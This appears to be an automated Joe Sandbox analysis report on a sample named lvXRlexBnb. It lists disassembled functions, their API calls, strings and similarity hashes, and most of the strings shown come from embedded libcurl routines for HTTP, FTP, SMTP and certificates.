Instruction Fuzzy Hash: 0131EA23B0564984EE25ABBA955427C9252DB04FE4F940735CE3D07BF5DE7DF1928310

Function 00007FF79B726A10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B71C080: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,00000000,00007FF79B70340F), ref: 00007FF79B71C0AE

_open.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B726ACF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B726B1B
_close.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B726B32
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B726B4B

Strings

Couldn't open file %s, xrefs: 00007FF79B726AF9

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_close_openmalloc
String ID: Couldn't open file %s
API String ID: 3412525164-447283422
Opcode ID: 95857b77417a878704d7fdb905165e311696dfc49cd5d2f0f3364ef33b98184e
Instruction ID: 3c1a53dcff11883d9d6d6bb46af03641693cc631e8b66c88002975e0c8391639
Opcode Fuzzy Hash: 95857b77417a878704d7fdb905165e311696dfc49cd5d2f0f3364ef33b98184e
Instruction Fuzzy Hash: 5D41A42560C68981EB249F39E840269E7B1FB4DBD4F948233DA9D477B8DF7CE6418710

Function 00007FF79B705D80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF79B705DFE

Part of subcall function 00007FF79B6F2500: GetLastError.KERNEL32 ref: 00007FF79B6F2522
Part of subcall function 00007FF79B6F2500: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F252A

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B705E1C
recv.WS2_32 ref: 00007FF79B705E47
WSAGetLastError.WS2_32 ref: 00007FF79B705E59

Strings

Recv failure: %s, xrefs: 00007FF79B705E85

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLast$_errnofreememcpyrecv
String ID: Recv failure: %s
API String ID: 267823591-4276829032
Opcode ID: be7537aced1d6328b3c5947b8cb48486490fdd45464f7ecb243888b41117e164
Instruction ID: d8cc9bd8b938ab2aba484e7532a0d6f152ff029602be1d28d71ab0c961ae5f1e
Opcode Fuzzy Hash: be7537aced1d6328b3c5947b8cb48486490fdd45464f7ecb243888b41117e164
Instruction Fuzzy Hash: F331C272B0574985EB20AF29E8842A9A361BB5CFD8F804237DE5D0B7A4DE3CD655C350

Function 00007FF79B70A510 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70A599
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B70A62F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70A657

Strings

identity, xrefs: 00007FF79B70A553, 00007FF79B70A5C3, 00007FF79B70A628
Unrecognized content encoding type. libcurl understands %s content encodings., xrefs: 00007FF79B70A645

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupfreemalloc
String ID: Unrecognized content encoding type. libcurl understands %s content encodings.$identity
API String ID: 3985033223-1703240927
Opcode ID: 26f14fbb27155c8bc7ba93293dcc76db4dac3620f58a1eef8e9075d1de7a8ec8
Instruction ID: 7a977ebda02d5c3d56c8c7620f511d07a69acbcaf8a213f6f551824b3dd236e7
Opcode Fuzzy Hash: 26f14fbb27155c8bc7ba93293dcc76db4dac3620f58a1eef8e9075d1de7a8ec8
Instruction Fuzzy Hash: F6418321A09A4D81EB219B29D940278E771BF59BE4F845333CE5D477F4DF2CD6428720

Function 00007FF79B739459 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B739480
isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B739933
isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B739947
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7399AE

Strings

FALSE, xrefs: 00007FF79B739475

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: isupper$_strdupfree
String ID: FALSE
API String ID: 3359907120-3701058176
Opcode ID: 27150f918a5bdf8d9ea0c3bde6371381d8e274e9a0ff9633156916c9ff9c2044
Instruction ID: fdecb2f2ca9b665812c2ae829b3086923beb9451758c3d76812ad6066b4c8c32
Opcode Fuzzy Hash: 27150f918a5bdf8d9ea0c3bde6371381d8e274e9a0ff9633156916c9ff9c2044
Instruction Fuzzy Hash: 7031B262A0D59E45FB32EA3CA458338AB919B89765F840733C69F416F1CE2CD689C330

Function 00007FF79B720DD0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B720E0B
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B720E51
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B720EB6

Strings

RCPT TO:<%s@%s>, xrefs: 00007FF79B720E8D
RCPT TO:<%s>, xrefs: 00007FF79B720E9B

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupfreestrpbrk
String ID: RCPT TO:<%s>$RCPT TO:<%s@%s>
API String ID: 1812939018-579818044
Opcode ID: 85d63cd334a15fffc10c553eae93822cc61512cdc19f79a5e6d0144d017ae251
Instruction ID: 686e5af2577139024aa3d021fbd874c6486746ff9796adaff455c6d69f9bded9
Opcode Fuzzy Hash: 85d63cd334a15fffc10c553eae93822cc61512cdc19f79a5e6d0144d017ae251
Instruction Fuzzy Hash: 61316A52A18B8585EB11EB39E4402B9E761EB89B90F884332DA5D037F5DF7CD645C320

Function 00007FF79B738D00 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B738D2D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7391F6

Strings

%s: %s, xrefs: 00007FF79B7391E1
FALSE, xrefs: 00007FF79B738D22
TRUE, xrefs: 00007FF79B738D1B

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupfree
String ID: %s: %s$FALSE$TRUE
API String ID: 1865132094-3430445539
Opcode ID: 27fd7b92b08e80c62ef846c0a086f2f778ba8bb1206fe5054450fd63a8227f2e
Instruction ID: 8a2b3696bcfc011b01c29181b331c4002b3c82ce8b18b2f170f50f7ba54fabc5
Opcode Fuzzy Hash: 27fd7b92b08e80c62ef846c0a086f2f778ba8bb1206fe5054450fd63a8227f2e
Instruction Fuzzy Hash: 20012551A0C78A82EA75AB6DB8487B59751BB49B90FC44237CE4E133B1DF7CD2899320

Function 00007FF79B734330 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B734290: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B730D25), ref: 00007FF79B7342B6
Part of subcall function 00007FF79B734290: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B730D25), ref: 00007FF79B7342D7
Part of subcall function 00007FF79B734290: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B730D25), ref: 00007FF79B7342F2
Part of subcall function 00007FF79B734290: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B730D25), ref: 00007FF79B734300
Part of subcall function 00007FF79B734290: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B730D25), ref: 00007FF79B734312

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7343B6

Strings

HTTP, xrefs: 00007FF79B73433A
NTLM, xrefs: 00007FF79B73436E, 00007FF79B734420

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$malloc
String ID: HTTP$NTLM
API String ID: 2190258309-4188377180
Opcode ID: 02a1d0cccc4e6bc93fd2e59f4e140727d9374f41d7fc12434709cd27c1760eaa
Instruction ID: 5cfb6f1e82c8c23469093c751c7a1a28587e275f982dbded8c775265641d5b77
Opcode Fuzzy Hash: 02a1d0cccc4e6bc93fd2e59f4e140727d9374f41d7fc12434709cd27c1760eaa
Instruction Fuzzy Hash: CC614F32609B8982EB749F29F44066AB7A4FB88B84F944636DE8D43B74DF3CD554CB10

Function 00007FF79B721A3B Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B721AF0

Strings

control connection looks dead, xrefs: 00007FF79B721CE2
Remembering we are in dir "%s", xrefs: 00007FF79B721B88
ABOR, xrefs: 00007FF79B721BEB
Failure sending ABOR command: %s, xrefs: 00007FF79B721C11

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: ABOR$Failure sending ABOR command: %s$Remembering we are in dir "%s"$control connection looks dead
API String ID: 1294909896-1891748601
Opcode ID: 64235b987dc4283eb39a3e46cb9056cdcaac1d29d970c9d48b0a8f2c00d34f7d
Instruction ID: 0d9ff23b277d0e5e97ea88c91f7eca9e4e508c38d076490eead58ba292a9423f
Opcode Fuzzy Hash: 64235b987dc4283eb39a3e46cb9056cdcaac1d29d970c9d48b0a8f2c00d34f7d
Instruction Fuzzy Hash: 7C51946190D68A85EA74F739D4503B9A361FF49364F800337DAAD066F2DF7CE6858360

Function 00007FF79B739D35 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B739D78
memcpy.VCRUNTIME140 ref: 00007FF79B739D9E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B739E6B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B739EBF

Strings

TRUE, xrefs: 00007FF79B739EC9

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: TRUE
API String ID: 3401966785-3412697401
Opcode ID: 602671d3a2d94d0c58c6a2817907598d8b60c771bcf79690e693e34a726910cb
Instruction ID: a5f0ba75b306890119b881c05b9163398c331c7c7914d4f1957e5e7700c35372
Opcode Fuzzy Hash: 602671d3a2d94d0c58c6a2817907598d8b60c771bcf79690e693e34a726910cb
Instruction Fuzzy Hash: F3418B52A1969905FF29563DA518379A752EB48BE0F844733CA6F433F1CD6CE289C320

Function 00007FF79B739049 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73908C
memcpy.VCRUNTIME140 ref: 00007FF79B7390B2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B739189
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7391F6

Strings

%s: %s, xrefs: 00007FF79B7391E1

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: %s: %s
API String ID: 3401966785-1451338302
Opcode ID: 5bb74c90d2b924d3d46db183046a0a2a57736da918594bd6e258ae812eb30cc8
Instruction ID: a066081ca1ea1fe433d247ecb4959701c24791d6c0605d89cdb54c557435c52b
Opcode Fuzzy Hash: 5bb74c90d2b924d3d46db183046a0a2a57736da918594bd6e258ae812eb30cc8
Instruction Fuzzy Hash: C0416B11A0D2D946EA386A2E651C3B5D792EB49BE0F844337CEAF077F5DD2CD2499320

Function 00007FF79B737253 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 125COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737589

Strings

GMT, xrefs: 00007FF79B73730E
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF79B737381
Start Date: %s, xrefs: 00007FF79B737577
Start Date, xrefs: 00007FF79B73755D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: Start Date: %s$ GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$Start Date
API String ID: 1294909896-619256714
Opcode ID: c313071ac66f1c4f56deb5f397c2f8bd85754e4a57d7de673abe469c5ceafaca
Instruction ID: e19771273cc8f247cc82ad582e9a488123856451fcb0fef198b7f86a1df53893
Opcode Fuzzy Hash: c313071ac66f1c4f56deb5f397c2f8bd85754e4a57d7de673abe469c5ceafaca
Instruction Fuzzy Hash: AC51E361B0C6DA55EB34AB3CA4445B8E7A2EB09791FC44633DA4D06674DF3CE749C320

Function 00007FF79B71E450 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 118COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B7177A0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B7177C1

memcpy.VCRUNTIME140 ref: 00007FF79B71E5C1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71E5CF

Strings

Failed to parse FETCH response., xrefs: 00007FF79B71E4AE
Found %I64d bytes to download, xrefs: 00007FF79B71E522
Written %zu bytes, %I64u bytes are left for transfer, xrefs: 00007FF79B71E58D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _errnofreememcpy
String ID: Failed to parse FETCH response.$Found %I64d bytes to download$Written %zu bytes, %I64u bytes are left for transfer
API String ID: 738009125-4268564757
Opcode ID: 586ccab9439305b842b597f15da96b3fb236faa831c6eaa4294a5b49c4f9c0cc
Instruction ID: 89d5e20835735296d408e08f721810bce315dd8db74d2f513afbf8b11c2276d6
Opcode Fuzzy Hash: 586ccab9439305b842b597f15da96b3fb236faa831c6eaa4294a5b49c4f9c0cc
Instruction Fuzzy Hash: 6C51956260C68A81EB34EE79D4402B9E360FB89B94F844133EE5D13675DF7CE2418321

Function 00007FF79B737190 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 81COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737589

Strings

GMT, xrefs: 00007FF79B7371EC
Start Date: %s, xrefs: 00007FF79B737577
Start Date, xrefs: 00007FF79B73755D
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF79B73723F

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: Start Date: %s$%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT$Start Date
API String ID: 1294909896-2752585153
Opcode ID: ecaf5d6ef0c748e97b97466dba9457b62e2f67f1070de549437da5a907efa122
Instruction ID: ee217946f7c948b4c03bf6aba0d3c8aef83feefd7a9305fb7e21db346772c95a
Opcode Fuzzy Hash: ecaf5d6ef0c748e97b97466dba9457b62e2f67f1070de549437da5a907efa122
Instruction Fuzzy Hash: 02319562A0D78995EB34AF3CA4405B9E762EB49B84FC84633D64D1A275DF3CD748C320

Function 00007FF79B737F1E Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7380F9
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B738139
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73814C

Strings

Signature: %s, xrefs: 00007FF79B7380E7
Signature, xrefs: 00007FF79B7380CF

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$malloc
String ID: Signature: %s$Signature
API String ID: 2190258309-1663925961
Opcode ID: 8c86ff128ba9d3563ac51cb2b2091eae2cf1052a09e38ac452feb21dadc9144c
Instruction ID: 541754dedc84d0fd7a6a4d0daedcdfca8ddafef231689245690db49dd937a5a8
Opcode Fuzzy Hash: 8c86ff128ba9d3563ac51cb2b2091eae2cf1052a09e38ac452feb21dadc9144c
Instruction Fuzzy Hash: 4321B866B086C586EA209B39E4442EAA350FB48BE4F880633DE5D07775DF3CD245C710

Function 00007FF79B721F90 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72205B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B722074
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B722088

Strings

Failure sending QUIT command: %s, xrefs: 00007FF79B721FE3
QUIT, xrefs: 00007FF79B721FBF

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: Failure sending QUIT command: %s$QUIT
API String ID: 1294909896-1162443993
Opcode ID: 7d883075aae54850d3eb03df06446082c78f0e0411fe14da9346d1acb75fded0
Instruction ID: d911b97decf8ffd6697a64c8044ced23e8b6a5feb12fd684a59e07e5c6c74f3e
Opcode Fuzzy Hash: 7d883075aae54850d3eb03df06446082c78f0e0411fe14da9346d1acb75fded0
Instruction Fuzzy Hash: AE316121A0C78A81EB64EF7995412B9B361FB49B84F844237DA4D07675CF3CE255C360

Function 00007FF79B718B90 Relevance: 7.6, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B704F70), ref: 00007FF79B718BC5
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B704F70), ref: 00007FF79B718BDA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B704F70), ref: 00007FF79B718BEF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B704F70), ref: 00007FF79B718C1C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B704F70), ref: 00007FF79B718C25
memcpy.VCRUNTIME140(?,?,?,00007FF79B704F70), ref: 00007FF79B718C59

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$calloc$memcpy
String ID:
API String ID: 3478730034-0
Opcode ID: 4bf8c0b1074bbecaf6bde63f8eeadf00f66dcdb0cd642673e420bb0de028504a
Instruction ID: 513e648936c7c6d689bb751a19e87db70a9f23e2caa0289ce4157a943be18ad8
Opcode Fuzzy Hash: 4bf8c0b1074bbecaf6bde63f8eeadf00f66dcdb0cd642673e420bb0de028504a
Instruction Fuzzy Hash: 8B21D371A09B8986E724EF29D850229A7A0FB8CB90F844336DA5E173F4DF7CD1408720

Function 00007FF79B727E00 Relevance: 7.6, APIs: 5, Instructions: 62stringCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B727E31
strchr.VCRUNTIME140 ref: 00007FF79B727E5D
strchr.VCRUNTIME140 ref: 00007FF79B727E74
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B727E93

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

